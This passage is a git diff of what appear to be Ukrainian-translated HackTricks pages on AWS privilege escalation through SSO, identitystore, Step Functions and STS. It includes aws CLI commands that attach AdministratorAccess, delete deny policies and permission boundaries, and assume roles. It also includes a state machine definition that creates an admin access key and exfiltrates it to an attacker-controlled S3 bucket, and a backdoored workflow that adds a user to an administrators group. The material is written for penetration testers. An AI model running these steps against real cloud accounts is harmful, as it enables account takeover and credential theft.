in the account -aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS -``` -### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` - -Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем. -```bash -# Set AdministratorAccess policy to the permission set -aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" - -# Update the provisioning so the new policy is created in the account -aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS -``` -### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` - -Зловмисник з цим дозволом може надати додаткові дозволи до Набору дозволів, який надано користувачу під його контролем. - -> [!WARNING] -> Щоб зловживати цими дозволами в цьому випадку, вам потрібно знати **ім'я політики, що керується клієнтом, яка є в усіх облікових записах**, які будуть під впливом. -```bash -# Set AdministratorAccess policy to the permission set -aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference - -# Update the provisioning so the new policy is created in the account -aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS -``` -### `sso:CreateAccountAssignment` - -Зловмисник з цим дозволом міг би надати Набір дозволів користувачу під його контролем для облікового запису. -```bash -aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id -``` -### `sso:GetRoleCredentials` - -Повертає короткострокові облікові дані STS для вказаного імені ролі, яка призначена користувачу. -``` -aws sso get-role-credentials --role-name --account-id --access-token -``` -Однак вам потрібен токен доступу, якого я не впевнений, як отримати (TODO). - -### `sso:DetachManagedPolicyFromPermissionSet` - -Зловмисник з цим дозволом може видалити асоціацію між керованою політикою AWS та вказаним набором дозволів. Можливо надати більше привілеїв через **від'єднання керованої політики (політика заборони)**. -```bash -aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn -``` -### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` - -Зловмисник з цим дозволом може видалити асоціацію між політикою, керованою замовником, та вказаним набором дозволів. Можливо надати більше привілеїв шляхом **від'єднання керованої політики (політики заборони)**. -```bash -aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference -``` -### `sso:DeleteInlinePolicyFromPermissionSet` - -Зловмисник з цим дозволом може видалити дозволи з вбудованої політики з набору дозволів. Можливо надати **більше привілеїв, відключивши вбудовану політику (політика заборони)**. -```bash -aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn -``` -### `sso:DeletePermissionBoundaryFromPermissionSet` - -Зловмисник з цим дозволом може видалити межу дозволів з набору дозволів. Можливо надати **більше привілеїв, видаливши обмеження на набір дозволів**, наданий межою дозволів. -```bash -aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md new file mode 100644 index 000000000..c18bb0cc3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md @@ -0,0 +1,112 @@ +# AWS - SSO & identitystore Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## AWS Identity Center / AWS SSO + +For more information about AWS Identity Center / AWS SSO check: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +> [!WARNING] +> Зверніть увагу, що за **замовчуванням** лише **користувачі** з дозволами **form** the **Management Account** матимуть змогу отримувати доступ та **керувати IAM Identity Center**.\ +> Користувачі з інших акаунтів можуть це робити лише якщо акаунт є **Delegated Adminstrator.**\ +> [Див. документацію для детальнішої інформації.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) + +### ~~Скидання пароля~~ + +Легкий спосіб ескалації привілеїв у таких випадках — це мати дозвіл на скидання паролів користувачів. На жаль, можливо лише відправити електронний лист користувачу для скидання його пароля, тож вам знадобиться доступ до електронної пошти користувача. + +### `identitystore:CreateGroupMembership` + +З цим дозволом можна додати користувача до групи, щоб він успадкував усі дозволи, якими володіє група. +```bash +aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= +``` +### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` + +Атакуючий із цим дозволом може додати додаткові права до Permission Set, який надано користувачу під його контролем +```bash +# Set an inline policy with admin privileges +aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml + +# Content of /tmp/policy.yaml +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] +} + +# Update the provisioning so the new policy is created in the account +aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS +``` +### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` + +Атакувальник із цим дозволом може надати додаткові права Permission Set, що надано користувачу під його контролем +```bash +# Set AdministratorAccess policy to the permission set +aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" + +# Update the provisioning so the new policy is created in the account +aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS +``` +### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` + +Атакувач з цим permission може надати додаткові permissions до Permission Set, який надається user під його контролем. + +> [!WARNING] +> Щоб зловживати цими permissions у цьому випадку, потрібно знати **назву customer managed policy, яка є в УСІХ accounts**, що будуть зачеплені. +```bash +# Set AdministratorAccess policy to the permission set +aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference + +# Update the provisioning so the new policy is created in the account +aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS +``` +### `sso:CreateAccountAssignment` + +Атакувальник із цим дозволом може призначити Permission Set користувачу під його контролем для облікового запису. +```bash +aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id +``` +### `sso:GetRoleCredentials` + +Повертає короткострокові облікові дані STS для ролі, призначеної користувачу. +``` +aws sso get-role-credentials --role-name --account-id --access-token +``` +Однак потрібен access token, який я не впевнений, як отримати (TODO). + +### `sso:DetachManagedPolicyFromPermissionSet` + +Зловмисник із цим дозволом може видалити асоціацію між AWS managed policy та зазначеним permission set. Можна надати більше привілеїв шляхом **detaching a managed policy (deny policy)**. +```bash +aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn +``` +### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` + +Зловмисник з цим дозволом може видалити прив'язку між Customer managed policy та вказаним permission set. Через це можливо надати більше привілеїв шляхом **detaching a managed policy (deny policy)**. +```bash +aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference +``` +### `sso:DeleteInlinePolicyFromPermissionSet` + +Атакувальник з цим дозволом може фактично видаляти дозволи з inline policy у permission set. Можливо надати **more privileges via detaching an inline policy (deny policy)**. +```bash +aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn +``` +### `sso:DeletePermissionBoundaryFromPermissionSet` + +Атакувальник з цим дозволом може видалити Permission Boundary з Permission Set. Це може надати **більше привілеїв шляхом видалення обмежень на Permission Set**, встановлених Permission Boundary. +```bash +aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md deleted file mode 100644 index de05bf839..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ /dev/null @@ -1,231 +0,0 @@ -# AWS - Step Functions Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Для отримання додаткової інформації про цю службу AWS, перевірте: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Task Resources - -Ці техніки підвищення привілеїв вимагатимуть використання деяких ресурсів AWS step function для виконання бажаних дій підвищення привілеїв. - -Щоб перевірити всі можливі дії, ви можете зайти у свій обліковий запис AWS, вибрати дію, яку ви хочете використовувати, і подивитися параметри, які вона використовує, як на: - -
- -Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії: - -- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) -- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) - -### `states:TestState` & `iam:PassRole` - -Зловмисник з дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати будь-яку роль IAM без створення або оновлення існуючої машини станів, що потенційно дозволяє несанкціонований доступ до інших служб AWS з дозволами ролі. У поєднанні ці дозволи можуть призвести до широкомасштабних несанкціонованих дій, від маніпуляцій з робочими процесами для зміни даних до витоків даних, маніпуляцій з ресурсами та підвищення привілеїв. -```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] -``` -Наступні приклади показують, як протестувати стан, який створює ключ доступу для користувача **`admin`**, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє стану виконувати дію **`iam:CreateAccessKey`**: - -- **stateDefinition.json**: -```json -{ -"Type": "Task", -"Parameters": { -"UserName": "admin" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"End": true -} -``` -- **Команда**, виконана для виконання підвищення привілеїв: -```bash -aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole - -{ -"output": "{ -\"AccessKey\":{ -\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", -\"CreateDate\":\"2024-07-09T16:59:11Z\", -\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", -\"Status\":\"Active\", -\"UserName\":\"admin\" -} -}", -"status": "SUCCEEDED" -} -``` -**Потенційний вплив**: Несанкціоноване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. - -### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) - -Зловмисник з **`states:CreateStateMachine`**& **`iam:PassRole`** зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших сервісів AWS з дозволами цієї ролі. На відміну від попередньої техніки підвищення привілеїв (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі, вам також потрібно мати дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступний для стандартних робочих процесів**, **тільки для виразних машин станів**) для того, щоб розпочати виконання над машиною станів. -```bash -# Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] - -# Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] - -# Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] -``` -Наступні приклади показують, як створити машину станів, яка створює ключ доступу для користувача **`admin`** та ексфільтрує цей ключ доступу до S3 бакету, контрольованого зловмисником, використовуючи ці дозволи та дозволену роль середовища AWS. Ця дозволена роль повинна мати будь-яку політику з високими привілеями, пов'язану з нею (наприклад, **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє машині станів виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**. - -- **stateMachineDefinition.json**: -```json -{ -"Comment": "Malicious state machine to create IAM access key and upload to S3", -"StartAt": "CreateAccessKey", -"States": { -"CreateAccessKey": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", -"Parameters": { -"UserName": "admin" -}, -"ResultPath": "$.AccessKeyResult", -"Next": "PrepareS3PutObject" -}, -"PrepareS3PutObject": { -"Type": "Pass", -"Parameters": { -"Body.$": "$.AccessKeyResult.AccessKey", -"Bucket": "attacker-controlled-S3-bucket", -"Key": "AccessKey.json" -}, -"ResultPath": "$.S3PutObjectParams", -"Next": "PutObject" -}, -"PutObject": { -"Type": "Task", -"Resource": "arn:aws:states:::aws-sdk:s3:putObject", -"Parameters": { -"Body.$": "$.S3PutObjectParams.Body", -"Bucket.$": "$.S3PutObjectParams.Bucket", -"Key.$": "$.S3PutObjectParams.Key" -}, -"End": true -} -} -} -``` -- **Команда**, виконана для **створення машини станів**: -```bash -aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole -{ -"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", -"creationDate": "2024-07-09T20:29:35.381000+02:00" -} -``` -- **Команда**, виконана для **початку виконання** раніше створеної машини станів: -```json -aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine -{ -"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", -"startDate": "2024-07-09T20:33:35.466000+02:00" -} -``` -> [!WARNING] -> Контрольований атакуючим S3 бакет повинен мати дозволи на прийняття дії s3:PutObject з облікового запису жертви. - -**Потенційний вплив**: Неавторизоване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. - -### `states:UpdateStateMachine` & (не завжди необхідно) `iam:PassRole` - -Атакуючий з дозволом **`states:UpdateStateMachine`** зможе змінити визначення стану машини, маючи можливість додати додаткові приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання стану машини, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною. - -Залежно від того, наскільки дозволяючим є IAM роль, асоційована зі станом машини, атакуючий зіткнеться з 2 ситуаціями: - -1. **Дозволяюча IAM роль**: Якщо IAM роль, асоційована зі станом машини, вже є дозволяючою (вона має, наприклад, прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде необхідним для ескалації привілеїв, оскільки не буде необхідності також оновлювати IAM роль, з визначенням стану машини буде достатньо. -2. **Недозволяюча IAM роль**: На відміну від попереднього випадку, тут атакуючий також вимагатиме дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати дозволяючу IAM роль зі станом машини, крім зміни визначення стану машини. -```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ -[--tracing-configuration ] [--publish | --no-publish] [--version-description ] -``` -Наступні приклади показують, як оновити легітимну машину станів, яка просто викликає функцію HelloWorld Lambda, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до групи IAM **`administrator`**. Таким чином, коли легітимний користувач запускає виконання оновленої машини станів, цей новий шкідливий прихований стан буде виконано, і ескалація привілеїв буде успішною. - -> [!WARNING] -> Якщо машина станів не має асоційованої дозволеної IAM ролі, також буде потрібен дозвіл **`iam:PassRole`** для оновлення IAM ролі, щоб асоціювати дозволену IAM роль (наприклад, одну з прикріпленою політикою **`arn:aws:iam::aws:policy/AdministratorAccess`**). - -{{#tabs }} -{{#tab name="Legit State Machine" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} - -{{#tab name="Зловмисна оновлена машина станів" }} -```json -{ -"Comment": "Hello world from Lambda state machine", -"StartAt": "Start PassState", -"States": { -"Start PassState": { -"Type": "Pass", -"Next": "LambdaInvoke" -}, -"LambdaInvoke": { -"Type": "Task", -"Resource": "arn:aws:states:::lambda:invoke", -"Parameters": { -"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" -}, -"Next": "AddUserToGroup" -}, -"AddUserToGroup": { -"Type": "Task", -"Parameters": { -"GroupName": "administrator", -"UserName": "unprivilegedUser" -}, -"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", -"Next": "End PassState" -}, -"End PassState": { -"Type": "Pass", -"End": true -} -} -} -``` -{{#endtab }} -{{#endtabs }} - -- **Команда**, виконана для **оновлення** **легітимної машини станів**: -```bash -aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json -{ -"updateDate": "2024-07-10T20:07:10.294000+02:00", -"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" -} -``` -**Потенційний вплив**: Несанкціоноване виконання та маніпуляція робочими процесами та доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md new file mode 100644 index 000000000..4a4368772 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -0,0 +1,231 @@ +# AWS - Step Functions Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Для отримання додаткової інформації про цей сервіс AWS перегляньте: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Ресурси завдань + +Ці техніки ескалації привілеїв вимагатимуть використання деяких ресурсів AWS Step Functions для виконання потрібних дій з підвищення привілеїв. + +Щоб перевірити всі можливі дії, ви можете перейти до свого облікового запису AWS, вибрати дію, яку хочете використати, і подивитися параметри, які вона використовує, як на прикладі: + +
+ +Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії: + +- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) +- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) + +### `states:TestState` & `iam:PassRole` + +Зловмисник, який має дозволи **`states:TestState`** та **`iam:PassRole`**, може тестувати будь-який state і передавати будь-яку IAM роль до нього без створення або оновлення існуючого state machine, що потенційно дозволяє несанкціонований доступ до інших AWS сервісів з правами, що надаються роллю. У поєднанні ці дозволи можуть призвести до широкого спектра несанкціонованих дій: від маніпуляцій робочими потоками і зміни даних до витоків даних, маніпуляції ресурсами та ескалації привілеїв. +```bash +aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +``` +Наступні приклади показують, як протестувати стан, який створює access key для користувача **`admin`**, використовуючи ці дозволи та роль з широкими правами в середовищі AWS. Ця роль має бути пов'язана з будь-якою політикою з високими привілеями (наприклад **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє стану виконати дію **`iam:CreateAccessKey`**: + +- **stateDefinition.json**: +```json +{ +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true +} +``` +- **Команда** виконана для проведення privesc: +```bash +aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole + +{ +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" +} +``` +**Потенційний вплив**: Несанкціоноване виконання та маніпуляція робочими процесами й доступ до чутливих ресурсів, що може призвести до серйозних порушень безпеки. + +### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) + +Атакуючий з правами **`states:CreateStateMachine`** та **`iam:PassRole`** може створити машину станів (state machine) і призначити їй будь-який IAM role, що дозволить несанкціонований доступ до інших сервісів AWS з повноваженнями цієї ролі. На відміну від попередньої privesc technique (**`states:TestState`** & **`iam:PassRole`**), ця техніка не виконується сама по собі — вам також потрібні дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступний для standard workflows**, **лише для express state machines**), щоб запустити виконання машини станів. +```bash +# Create a state machine +aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] + +# Start a state machine execution +aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] + +# Start a Synchronous Express state machine execution +aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +``` +Наступні приклади показують, як створити state machine, яка створює access key для користувача **`admin`** та ексфільтрує цей access key у S3 bucket, контрольований атакуючим, використовуючи ці дозволи та permissive role в середовищі AWS. Ця permissive роль повинна мати будь-яку високо-привілейовану політику, пов'язану з нею (наприклад **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє state machine виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**. + +- **stateMachineDefinition.json**: +```json +{ +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} +} +``` +- **Команда**, виконана для **створення машини станів**: +```bash +aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole +{ +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" +} +``` +- **Команда** виконана для **запуску виконання** раніше створеної машини станів: +```json +aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine +{ +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" +} +``` +> [!WARNING] +> Бакет S3, контрольований атакуючим, повинен мати дозволи на прийом дії s3:PutObject від облікового запису жертви. + +**Можливий вплив**: Несанкціоноване виконання та маніпулювання робочими процесами і доступ до чутливих ресурсів, що може призвести до значних порушень безпеки. + +### `states:UpdateStateMachine` & (не завжди потрібний) `iam:PassRole` + +Атакуюча особа з дозволом **`states:UpdateStateMachine`** може змінити визначення state machine, додавши приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання state machine, цей новий шкідливий прихований стан буде виконано і ескалація привілеїв відбудеться успішно. + +Залежно від того, наскільки широкі права має IAM Role, пов'язана зі state machine, атакуючий опиниться в одній із двох ситуацій: + +1. **З широкими правами IAM Role**: Якщо IAM Role, пов'язана зі state machine, вже має широкі права (наприклад, до неї приєднана політика **`arn:aws:iam::aws:policy/AdministratorAccess`**), то дозвіл **`iam:PassRole`** не потрібен для ескалації привілеїв, оскільки не потрібно також оновлювати IAM Role — достатньо змінити визначення state machine. +2. **IAM Role без широких прав**: На відміну від попереднього випадку, тут атакуючому також знадобиться дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати до state machine більш дозволену IAM Role, на додачу до зміни визначення state machine. +```bash +aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +[--tracing-configuration ] [--publish | --no-publish] [--version-description ] +``` +Наведені приклади показують, як оновити легітимну state machine, яка лише викликає HelloWorld Lambda function, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до IAM Group **`administrator`**. Таким чином, коли легітимний користувач запускає виконання оновленої state machine, цей новий прихований шкідливий стан виконається й ескалація привілеїв буде успішною. + +> [!WARNING] +> Якщо state machine не має пов’язаної IAM Role з широкими правами, також буде необхідний дозвіл **`iam:PassRole`** для оновлення IAM Role, щоб асоціювати роль з широкими правами (наприклад роль з приєднаною політикою **`arn:aws:iam::aws:policy/AdministratorAccess`**). + +{{#tabs }} +{{#tab name="Legit State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} + +{{#tab name="Malicious Updated State Machine" }} +```json +{ +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} +} +``` +{{#endtab }} +{{#endtabs }} + +- **Команда**, виконана для **оновлення** **легітимної машини станів**: +```bash +aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json +{ +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +} +``` +**Potential Impact**: Несанкціоноване виконання та маніпулювання робочими процесами й доступ до конфіденційних ресурсів, що може призвести до значних порушень безпеки. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md deleted file mode 100644 index a78a9a678..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ /dev/null @@ -1,136 +0,0 @@ -# AWS - STS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## STS - -### `sts:AssumeRole` - -Кожна роль створюється з **політикою довіри ролі**, ця політика вказує **хто може прийняти створену роль**. Якщо роль з **того самого акаунта** вказує, що якийсь акаунт може її прийняти, це означає, що цей акаунт зможе отримати доступ до ролі (і потенційно виконати **privesc**). - -Наприклад, наступна політика довіри ролі показує, що будь-хто може її прийняти, тому **будь-який користувач зможе privesc** до прав, пов'язаних із цією роллю. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -Ви можете вдавати роль, що виконується: -```bash -aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname -``` -**Можливий вплив:** Privesc до ролі. - -> [!CAUTION] -> Зауважте, що в цьому випадку дозвіл `sts:AssumeRole` має бути **вказаний у ролі, яку планують зловживати**, а не в політиці, що належить атакуючому.\ -> За одним винятком, щоб **прийняти роль з іншого облікового запису** обліковий запис зловмисника **також повинен** мати **`sts:AssumeRole`** над роллю. - - -### `sts:AssumeRoleWithSAML` - -Політика довіри для цієї ролі надає **користувачам, автентифікованим через SAML, можливість виступати від імені цієї ролі.** - -Приклад політики довіри з цим дозволом: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -Щоб згенерувати credentials для impersonate the role, загалом ви можете використати щось на кшталт: -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -Але **провайдери** 